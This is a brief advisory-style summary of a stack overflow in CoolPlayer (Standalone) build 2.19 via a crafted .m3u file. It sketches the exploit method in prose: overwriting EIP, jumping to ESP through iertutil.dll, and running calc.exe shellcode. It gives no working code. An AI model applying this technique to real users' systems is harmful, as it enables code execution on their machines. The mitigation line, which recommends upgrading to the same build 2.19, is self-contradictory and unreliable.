CoolPlayer (Standalone) build 2.19 – .m3u Stack Overflow

CoolPlayer (Standalone) build 2.19 is vulnerable to a stack overflow vulnerability. An attacker can exploit this vulnerability by crafting a malicious .m3u file and sending it to the target user. When the target user opens the malicious file, the attacker can overwrite the EIP and point to ESP (iertutil.dll) to execute shellcode (calc.exe).

Mitigation:

Upgrade to the latest version of CoolPlayer (Standalone) build 2.19.
